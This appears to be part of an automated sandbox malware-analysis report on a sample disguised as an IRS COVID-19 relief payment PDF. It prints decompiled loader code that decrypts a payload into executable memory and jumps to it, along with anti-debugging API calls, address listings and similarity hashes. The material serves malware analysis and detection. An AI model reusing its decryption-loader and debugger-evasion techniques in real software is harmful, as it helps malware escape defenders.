					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *((intOrPtr*)(_t102 + 0x3a)) =  *((intOrPtr*)(_t102 + 0x3a)) + _t80;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					_t87 = (_t80 - 0x00000001 + 0x00000001 ^ 1) + 0x00000001 ^ 0x00000001;
					do {
						_t38 = 0 ^ _t87;
						_t87 = _t87 + 1;
					} while (_t38 != 0x536fd28);
					_t47 =  *((intOrPtr*)(0x40100c));
					do {
						_t47 = _t47 - 1;
					} while ( *_t47 != 0xff3f3aae);
					_t65 = VirtualAlloc(0, 0xe000, 0x1000, 0x40); // executed
					_t76 = 0x9c2c;
					do {
						 *_t65 = _t65 +  *_t65;
						 *_t20 =  *((intOrPtr*)(0x404d97 + _t76));
						 *(_t65 + _t76) =  *(_t65 + _t76) ^ 0xa6518ce5;
						_t76 = _t76 - 0x164c + 0x1648;
					} while (_t76 >= 0);
					goto __eax;
				}
				_t26 = _t26 + _t66;
				asm("fsubr st4, st0");
				asm("in eax, 0x0");
				_t27 = _t104;
				 *_t27 = _t27;
				_t79 = _t78 &  *(_t100 + 0x3bb7a800 + _t66 * 8);
				_t29 = _t27 + _t79 ^ 0x00000057;
				_t80 = _t79 + _t79;
				_pop(ss);
				asm("scasd");
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				goto L5;
			}

0x0040422b
0x00404230
0x00404236
0x00404237
0x0040423b
0x00404241
0x00404242
0x00404244
0x00404246
0x00404248
0x00404248
0x0040424b
0x004042c5
0x004042c5
0x004042c7
0x004042c9
0x004042cb
0x004042cd
0x004042cf
0x004042d1
0x004042d3
0x004042d5
0x004042d7
0x004042d9
0x004042db
0x004042dd
0x004042df
0x004042e1
0x004042e3
0x004042e5
0x004042e7
0x004042e9
0x004042eb
0x004042ed
0x004042ef
0x004042f1
0x004042f3
0x004042f5
0x004042f7
0x004042f9
0x004042fb
0x004042fd
0x004042ff
0x00404301
0x00404303
0x00404305
0x00404307
0x00404309
0x0040430b
0x0040430d
0x0040430f
0x00404311
0x00404313
0x00404315
0x00404317
0x00404319
0x0040431b
0x0040431d
0x0040431f
0x00404321
0x00404323
0x00404325
0x00404327
0x00404329
0x0040432b
0x0040432d
0x0040432f
0x00404331
0x00404333
0x00404335
0x00404337
0x00404339
0x0040433b
0x0040433d
0x0040433f
0x00404341
0x00404343
0x00404345
0x00404347
0x00404349
0x0040434b
0x0040434d
0x0040434f
0x00404351
0x00404353
0x00404355
0x00404357
0x00404359
0x0040435b
0x0040435d
0x0040435f
0x00404361
0x00404363
0x00404365
0x00404367
0x00404369
0x0040436b
0x0040436d
0x0040436f
0x00404371
0x00404373
0x00404375
0x00404377
0x00404379
0x0040437b
0x0040437d
0x0040437f
0x00404381
0x00404383
0x00404385
0x00404387
0x00404389
0x0040438b
0x0040438d
0x0040438f
0x00404391
0x00404393
0x00404395
0x00404397
0x00404399
0x0040439b
0x0040439d
0x0040439f
0x004043a1
0x004043a3
0x004043a5
0x004043a7
0x004043a9
0x004043ab
0x004043ad
0x004043af
0x004043b1
0x004043b3
0x004043b5
0x004043b7
0x004043b9
0x004043bb
0x004043bd
0x004043bf
0x004043c1
0x004043c3
0x004043c5
0x004043c7
0x004043c9
0x004043cb
0x004043cd
0x004043cf
0x004043d1
0x004043d3
0x004043d5
0x004043d7
0x004043d9
0x004043db
0x004043dd
0x004043df
0x004043e1
0x004043e3
0x004043e5
0x004043e7
0x004043e9
0x004043eb
0x004043ed
0x004043ef
0x004043f1
0x004043f3
0x004043f5
0x004043f7
0x004043f9
0x004043fb
0x004043fd
0x004043ff
0x00404401
0x00404403
0x00404405
0x00404407
0x00404409
0x0040440b
0x0040440d
0x0040440f
0x00404411
0x00404413
0x00404415
0x00404417
0x00404419
0x0040441b
0x0040441d
0x0040441f
0x00404421
0x00404423
0x00404425
0x00404427
0x00404429
0x0040442b
0x0040442d
0x0040442f
0x00404431
0x00404433
0x00404435
0x00404437
0x00404439
0x0040443b
0x0040443d
0x0040443f
0x00404441
0x00404443
0x00404445
0x00404447
0x00404449
0x0040444b
0x0040444d
0x0040444f
0x00404451
0x00404453
0x00404455
0x00404457
0x00404459
0x0040445b
0x0040445d
0x0040445f
0x00404461
0x00404463
0x00404465
0x00404467
0x00404469
0x0040446b
0x0040446d
0x0040446f
0x00404471
0x00404473
0x00404475
0x00404477
0x00404479
0x0040447b
0x0040447d
0x0040447f
0x00404481
0x00404483
0x00404485
0x00404487
0x00404489
0x0040448b
0x0040448d
0x0040448f
0x00404491
0x00404493
0x00404495
0x00404497
0x00404499
0x0040449b
0x0040449d
0x0040449f
0x004044a1
0x004044a3
0x004044a5
0x004044a7
0x004044a9
0x004044ab
0x004044ad
0x004044af
0x004044b1
0x004044b3
0x004044b5
0x004044b7
0x004044b9
0x004044bb
0x004044bd
0x004044bf
0x004044c1
0x004044c3
0x004044c5
0x004044c7
0x004044c9
0x004044cb
0x004044cd
0x004044cf
0x004044d1
0x004044d3
0x004044d5
0x004044d7
0x004044d9
0x004044db
0x004044dd
0x004044df
0x004044e1
0x004044e3
0x004044e5
0x004044e7
0x004044e9
0x004044eb
0x004044ed
0x004044ef
0x004044f1
0x004044f3
0x004044f5
0x004044f7
0x004044f9
0x004044fb
0x004044fd
0x004044ff
0x00404501
0x00404503
0x00404505
0x00404507
0x00404509
0x0040450b
0x0040450d
0x0040450f
0x00404511
0x00404513
0x00404515
0x00404517
0x00404519
0x0040451b
0x0040451d
0x0040451f
0x00404521
0x00404523
0x00404525
0x00404527
0x00404529
0x0040452b
0x0040452d
0x0040452f
0x00404531
0x00404533
0x00404535
0x00404537
0x00404539
0x0040453b
0x0040453d
0x0040453f
0x00404541
0x00404543
0x00404545
0x00404547
0x00404549
0x0040454b
0x0040454d
0x0040454f
0x00404551
0x00404553
0x00404555
0x00404557
0x00404559
0x0040455b
0x0040455d
0x0040455f
0x00404561
0x00404563
0x00404565
0x00404567
0x00404569
0x0040456b
0x0040456d
0x0040456f
0x00404571
0x00404573
0x00404575
0x00404577
0x00404579
0x0040457b
0x0040457d
0x0040457f
0x00404581
0x00404583
0x00404585
0x00404587
0x00404589
0x0040458b
0x0040458d
0x0040458f
0x00404591
0x00404593
0x00404595
0x00404597
0x00404599
0x0040459b
0x0040459d
0x0040459f
0x004045a1
0x004045a3
0x004045a5
0x004045a7
0x004045a9
0x004045ab
0x004045ad
0x004045af
0x004045b1
0x004045b3
0x004045b5
0x004045b7
0x004045b9
0x004045bb
0x004045bd
0x004045bf
0x004045c1
0x004045c3
0x004045c5
0x004045c7
0x004045c9
0x004045cb
0x004045cd
0x004045cf
0x004045d1
0x004045d3
0x004045d5
0x004045d7
0x004045d9
0x004045db
0x004045dd
0x004045df
0x004045e1
0x004045e3
0x004045e5
0x004045e7
0x004045e9
0x004045eb
0x004045ed
0x004045ef
0x004045f1
0x004045f3
0x004045f5
0x004045f7
0x004045f9
0x004045fb
0x004045fd
0x004045ff
0x00404601
0x00404603
0x00404605
0x00404607
0x00404609
0x0040460b
0x0040460d
0x0040460f
0x00404611
0x00404613
0x00404615
0x00404617
0x00404619
0x0040461b
0x0040461d
0x0040461f
0x00404621
0x00404623
0x00404625
0x00404627
0x00404629
0x0040462b
0x0040462d
0x0040462f
0x00404631
0x00404633
0x00404635
0x00404637
0x00404639
0x0040463b
0x0040463d
0x0040463f
0x00404641
0x00404643
0x00404645
0x00404647
0x00404649
0x0040464b
0x0040464d
0x0040464f
0x00404651
0x00404653
0x00404655
0x00404657
0x00404659
0x0040465b
0x0040465d
0x0040465f
0x00404661
0x00404663
0x00404665
0x00404667
0x00404669
0x0040466b
0x0040466d
0x0040466f
0x00404671
0x00404673
0x00404675
0x00404677
0x00404679
0x0040467b
0x0040467d
0x0040467f
0x00404681
0x00404683
0x00404685
0x00404687
0x00404689
0x0040468b
0x0040468d
0x0040468f
0x00404691
0x00404693
0x00404695
0x00404697
0x00404699
0x0040469b
0x0040469d
0x0040469f
0x004046a1
0x004046a3
0x004046a5
0x004046a7
0x004046a9
0x004046ab
0x004046ad
0x004046af
0x004046b1
0x004046b3
0x004046b5
0x004046b7
0x004046b9
0x004046bb
0x004046bd
0x004046bf
0x004046c1
0x004046c3
0x004046c5
0x004046c7
0x004046c9
0x004046cb
0x004046cd
0x004046cf
0x004046d1
0x004046d3
0x004046d5
0x004046d7
0x004046d9
0x004046db
0x004046dd
0x004046df
0x004046e1
0x004046e3
0x004046e5
0x004046e7
0x004046e9
0x004046eb
0x004046ed
0x004046ef
0x004046f1
0x004046f3
0x004046f5
0x004046f7
0x004046f9
0x004046fb
0x004046fd
0x004046ff
0x00404701
0x00404703
0x00404705
0x00404707
0x00404709
0x0040470b
0x0040470d
0x0040470f
0x00404711
0x00404713
0x00404715
0x00404717
0x00404719
0x0040471b
0x0040471d
0x0040471f
0x00404721
0x00404723
0x00404725
0x00404727
0x00404729
0x0040472b
0x0040472d
0x0040472f
0x00404731
0x00404733
0x00404735
0x00404737
0x00404739
0x0040473b
0x0040473d
0x0040473f
0x00404741
0x00404743
0x00404745
0x00404747
0x00404749
0x0040474b
0x0040474d
0x0040474f
0x00404751
0x00404753
0x00404755
0x00404757
0x00404759
0x0040475b
0x0040475d
0x0040475f
0x00404761
0x00404763
0x00404765
0x00404767
0x00404769
0x0040476b
0x0040476d
0x0040476f
0x00404771
0x00404773
0x00404775
0x00404777
0x00404779
0x0040477b
0x0040477d
0x0040477f
0x00404781
0x00404783
0x00404785
0x00404787
0x00404789
0x0040478b
0x0040478d
0x0040478f
0x00404791
0x00404793
0x00404795
0x00404797
0x00404799
0x0040479b
0x0040479d
0x0040479f
0x004047a1
0x004047a3
0x004047a5
0x004047a7
0x004047a9
0x004047ab
0x004047ad
0x004047af
0x004047b1
0x004047b3
0x004047b5
0x004047b7
0x004047b9
0x004047bb
0x004047bd
0x004047bf
0x004047c1
0x004047c3
0x004047c5
0x004047c7
0x004047c9
0x004047cb
0x004047cd
0x004047cf
0x004047d1
0x004047d3
0x004047d5
0x004047d7
0x004047d9
0x004047db
0x004047dd
0x004047df
0x004047e1
0x004047e3
0x004047e5
0x004047e7
0x004047e9
0x004047eb
0x004047ed
0x004047ef
0x004047f1
0x004047f3
0x004047f5
0x004047f7
0x004047f9
0x004047fb
0x004047fd
0x004047ff
0x00404801
0x00404803
0x00404805
0x00404807
0x00404809
0x0040480b
0x0040480d
0x0040480f
0x00404811
0x00404813
0x00404815
0x00404817
0x00404819
0x0040481b
0x0040481d
0x0040481f
0x00404821
0x00404823
0x00404825
0x00404827
0x00404829
0x0040482b
0x0040482d
0x0040482f
0x00404831
0x00404833
0x00404835
0x00404837
0x00404839
0x0040483b
0x0040483d
0x0040483f
0x00404841
0x00404843
0x00404845
0x00404847
0x00404849
0x0040484b
0x0040484d
0x0040484f
0x00404851
0x00404853
0x00404855
0x00404857
0x00404859
0x0040485b
0x0040485d
0x0040485f
0x00404861
0x00404863
0x00404865
0x00404867
0x00404869
0x0040486b
0x0040486d
0x0040486f
0x00404871
0x00404873
0x00404875
0x00404877
0x00404879
0x0040487b
0x0040487d
0x0040487f
0x00404881
0x00404883
0x00404885
0x00404887
0x00404889
0x0040488b
0x0040488d
0x0040488f
0x00404891
0x00404893
0x00404895
0x00404897
0x00404899
0x0040489b
0x0040489d
0x0040489f
0x004048a1
0x004048a3
0x004048a5
0x004048a7
0x004048a9
0x004048ab
0x004048ad
0x004048af
0x004048b1
0x004048b3
0x004048b5
0x004048b7
0x004048b9
0x004048bb
0x004048bd
0x004048bf
0x004048c1
0x004048c3
0x004048c5
0x004048c7
0x004048c9
0x004048cb
0x004048cd
0x004048cf
0x004048d1
0x004048d3
0x004048d5
0x004048d7
0x004048d9
0x004048db
0x004048dd
0x004048df
0x004048e1
0x004048e3
0x004048e5
0x004048e7
0x004048e9
0x004048eb
0x004048ed
0x004048ef
0x004048f1
0x004048f3
0x004048f5
0x004048f7
0x004048f9
0x004048fb
0x004048fd
0x004048ff
0x00404901
0x00404903
0x00404905
0x00404907
0x00404909
0x0040490b
0x0040490d
0x0040490f
0x00404911
0x00404913
0x00404915
0x00404917
0x00404919
0x0040491b
0x0040491d
0x0040491f
0x00404921
0x00404923
0x00404925
0x00404927
0x00404929
0x0040492b
0x0040492d
0x0040492f
0x00404931
0x00404933
0x00404935
0x00404937
0x00404939
0x0040493b
0x0040493d
0x0040493f
0x00404941
0x00404943
0x00404945
0x00404947
0x00404949
0x0040494b
0x0040494d
0x0040494f
0x00404951
0x00404953
0x00404955
0x00404957
0x00404959
0x0040495b
0x0040495d
0x0040495f
0x00404961
0x00404963
0x00404965
0x00404967
0x00404969
0x0040496b
0x0040496d
0x0040496f
0x00404971
0x00404973
0x00404975
0x00404977
0x00404979
0x0040497b
0x0040497d
0x0040497f
0x00404981
0x00404983
0x00404985
0x00404987
0x00404989
0x0040498b
0x0040498d
0x0040498f
0x00404991
0x00404993
0x00404995
0x00404997
0x00404999
0x0040499b
0x0040499d
0x0040499f
0x004049a1
0x004049a3
0x004049a5
0x004049a7
0x004049a9
0x004049ab
0x004049ad
0x004049af
0x004049b1
0x004049b3
0x004049b5
0x004049b7
0x004049b9
0x004049bb
0x004049bd
0x004049bf
0x004049c1
0x004049c3
0x004049c5
0x004049c7
0x004049c9
0x004049cb
0x004049cd
0x004049cf
0x004049d1
0x004049d3
0x004049d5
0x004049d7
0x004049d9
0x004049db
0x004049dd
0x004049df
0x004049e1
0x004049e3
0x004049e5
0x004049e7
0x004049ed
0x004049ef
0x00404a3c
0x00404a43
0x00404a99
0x00404aa3
0x00404aac
0x00404b23
0x00404b98
0x00404b9e
0x00404bab
0x00404d22
0x00404d36
0x00404d47
0x00404d4d
0x00404d5f
0x00404d69
0x00404d7f
0x00404d7f
0x00404d8f
0x00404d8f
0x0040424c
0x0040424d
0x0040424f
0x00404251
0x00404253
0x00404255
0x0040425e
0x00404260
0x00404262
0x00404263
0x00404264
0x00404266
0x00404268
0x0040426a
0x0040426c
0x0040426e
0x00404270
0x00404272
0x00404274
0x00404276
0x00404278
0x0040427a
0x0040427c
0x0040427e
0x00404280
0x00404282
0x00404284
0x00404286
0x00404288
0x0040428a
0x0040428c
0x0040428e
0x00404290
0x00404292
0x00404294
0x00404296
0x00404298
0x0040429a
0x0040429c
0x0040429e
0x004042a0
0x004042a2
0x004042a4
0x004042a6
0x004042a8
0x004042aa
0x004042ac
0x004042ae
0x004042b0
0x004042b2
0x004042b4
0x004042b6
0x004042b8
0x004042ba
0x004042bc
0x004042be
0x004042c0
0x004042c2
0x004042c4
0x00000000

APIs

VirtualAlloc.KERNELBASE(00000000,0000E000,FFFFDD22,FFFFFF29), ref: 00404D22

Strings

(, xrefs: 00404AD9
?, xrefs: 00404B4B
@, xrefs: 00404A7C
<, xrefs: 00404A7F
I, xrefs: 00404A39
g, xrefs: 00404AA0

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.679478639.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: AllocVirtual
String ID: ($<$?$@$I$g
API String ID: 4275171209-1284993559
Opcode ID: 95f0c38156c2924db7e4087937646a70cde78b1c928e62163587ec90edd8963f
Instruction ID: 30961132b1b078b5b1badd16608d2b89dd5da64ff38e7cfff1b29dc474e9d861
Opcode Fuzzy Hash: 95f0c38156c2924db7e4087937646a70cde78b1c928e62163587ec90edd8963f
Instruction Fuzzy Hash: 66818FA26963424AFF381534CAE077E2652EB46340F749E3BCA43EADC6D62EC5C14653

Uniqueness

Uniqueness Score: -1.00%

Function 02412294, Relevance: 6.3, APIs: 2, Strings: 1, Instructions: 1035
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID: 1.!T
API String ID: 1029625771-3147410236
Opcode ID: 0bf0a2a68c3050195bc58d9e948b7c6e47a2f0795854a7e0f5667787149727b7
Instruction ID: b24b1d43d71af2669a6d762109cd0b6eabb83788b25f241da37bf8e81fe263f7
Opcode Fuzzy Hash: 0bf0a2a68c3050195bc58d9e948b7c6e47a2f0795854a7e0f5667787149727b7
Instruction Fuzzy Hash: 66629D70740306AFEB249E24CD91BEA77A2FF55350F54422FEC8697284D7B598C6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02410BA5, Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 706
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G, xrefs: 02414824
W.E, xrefs: 024156EC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID: W.E$G
API String ID: 1029625771-330372605
Opcode ID: 70eda9fef4cf202ec1ae2601dff3f72d717a370eef06c1be4872e7b4093a1d1c
Instruction ID: 2ba259cbf7e01a08c607d2198eddc76087a9c28c102fab89a2af7629d5855419
Opcode Fuzzy Hash: 70eda9fef4cf202ec1ae2601dff3f72d717a370eef06c1be4872e7b4093a1d1c
Instruction Fuzzy Hash: E822BC316443459FEB246B3189953EF3B67AFD2794F98412FCC8A4B281DBA584C6CB42

Uniqueness

Uniqueness Score: -1.00%

Function 02414EE3, Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 648
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0={,, xrefs: 0241501E

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID: 0={,
API String ID: 1029625771-63937952
Opcode ID: 21f8ad1cf7633fe39a53b59756158024f5f9b0cc9e984f8658f50cc4a6885bd7
Instruction ID: df17e0f8103c7d2853014fa69c5d4f93dd7c6cc3c6d9f9a68e9349c24d3eb84c
Opcode Fuzzy Hash: 21f8ad1cf7633fe39a53b59756158024f5f9b0cc9e984f8658f50cc4a6885bd7
Instruction Fuzzy Hash: 66223670740205AFEF24AE65CD90BEA3B67AF85390F95812FEC8657284D77588C6CF41

Uniqueness

Uniqueness Score: -1.00%

Function 02417B5F, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Strings

l, xrefs: 02417CA6
1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationThread
String ID: 1.!T$l
API String ID: 4046476035-3334628908
Opcode ID: 382386e96d9bd8712b058e3d89ad8ba7a48ae576842ddd97090e60b472402d96
Instruction ID: fb0b5313a7a7e29dde25b9358b5305c4fa996801c4904eeba96a81202707f03e
Opcode Fuzzy Hash: 382386e96d9bd8712b058e3d89ad8ba7a48ae576842ddd97090e60b472402d96
Instruction Fuzzy Hash: 9D61BD707403069EEB186EB589613EF77A79FD6394F94452FDC424B2C8E7E288C2C681

Uniqueness

Uniqueness Score: -1.00%

Function 0241907C, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 223
librarynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Strings

1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID: 1.!T
API String ID: 1876017897-3147410236
Opcode ID: 2afbaeb3c6f1a3ed4dae644f1aae31eede33105a9b513d315ceef44ea01f58b5
Instruction ID: 8012d33ad226b831e05223ab8df5f0505234e1dd822e99b48d3329c73123bad0
Opcode Fuzzy Hash: 2afbaeb3c6f1a3ed4dae644f1aae31eede33105a9b513d315ceef44ea01f58b5
Instruction Fuzzy Hash: 96512639108606DEEF291E208A743F636969F463A0F5A4A6BDC57572D0D37684CBC603

Uniqueness

Uniqueness Score: -1.00%

Function 024108BF, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 203
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(02410932,00000000,?,?), ref: 02410914
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Strings

1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumInformationThreadWindows
String ID: 1.!T
API String ID: 1954852945-3147410236
Opcode ID: b6dd67fb9a2edaf211bf41aaf3602ddcd21971bc2b09e8cb61292a4f489431a4
Instruction ID: c7f32c90f6a2012de2cfa7f53885bb4a673a332a075bc033a435338998237dd2
Opcode Fuzzy Hash: b6dd67fb9a2edaf211bf41aaf3602ddcd21971bc2b09e8cb61292a4f489431a4
Instruction Fuzzy Hash: F2517C307443019EEB089EB589617EB37A39FD6394F94852FDC564B2C8DBE1C8C2C680

Uniqueness

Uniqueness Score: -1.00%

Function 024153E5, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, xrefs: 02415413

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
API String ID: 0-3478744561
Opcode ID: 52fa9c59bf19859a3dd857157a0889d549e8f8dd7cd92ef14f63bd2193c3609f
Instruction ID: 67068c10543524c62a1f22c1353ddbff4a2d53f322860383ed88826c97257ac5
Opcode Fuzzy Hash: 52fa9c59bf19859a3dd857157a0889d549e8f8dd7cd92ef14f63bd2193c3609f
Instruction Fuzzy Hash: A0D16771740205AEEF345E24CD51BEA3F62EF92350F94416FED865B284C3B598C6CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0241094D, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 173
librarynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Strings

1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: ae8e9bf2011a8eac6cfd19f26484977bfa2bbc250a85fb7d5779e8dfdb7d6ddc
Instruction ID: 62264c37cc0f5f58dd00938046cfc508700a8c2a653f5db5b8758333fa9c7e68
Opcode Fuzzy Hash: ae8e9bf2011a8eac6cfd19f26484977bfa2bbc250a85fb7d5779e8dfdb7d6ddc
Instruction Fuzzy Hash: 1B5105306407019EEB08AB7589613EF3B779FE5785F98455FDC425B2C8EBE29841C784

Uniqueness

Uniqueness Score: -1.00%

Function 02410943, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 160
librarynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Strings

1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: dcb96f958bff3d5e90b8657f0dad9e57c2f5a5cc0725d9cec8bd926931805331
Instruction ID: ea967cafff54ee83b8d6a114208e58cb0dbd00d397ad9db6b0008a02b1aefbbb
Opcode Fuzzy Hash: dcb96f958bff3d5e90b8657f0dad9e57c2f5a5cc0725d9cec8bd926931805331
Instruction Fuzzy Hash: D54129707403029EEB086FB589623EB37779FD6394F98555FDC425B2C8EBE19882C684

Uniqueness

Uniqueness Score: -1.00%

Function 024109BE, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 153
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Strings

1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: c5f00e41eaf52f26a3293d1051e25d31893cd359a1fc46a26b2513047898ad0e
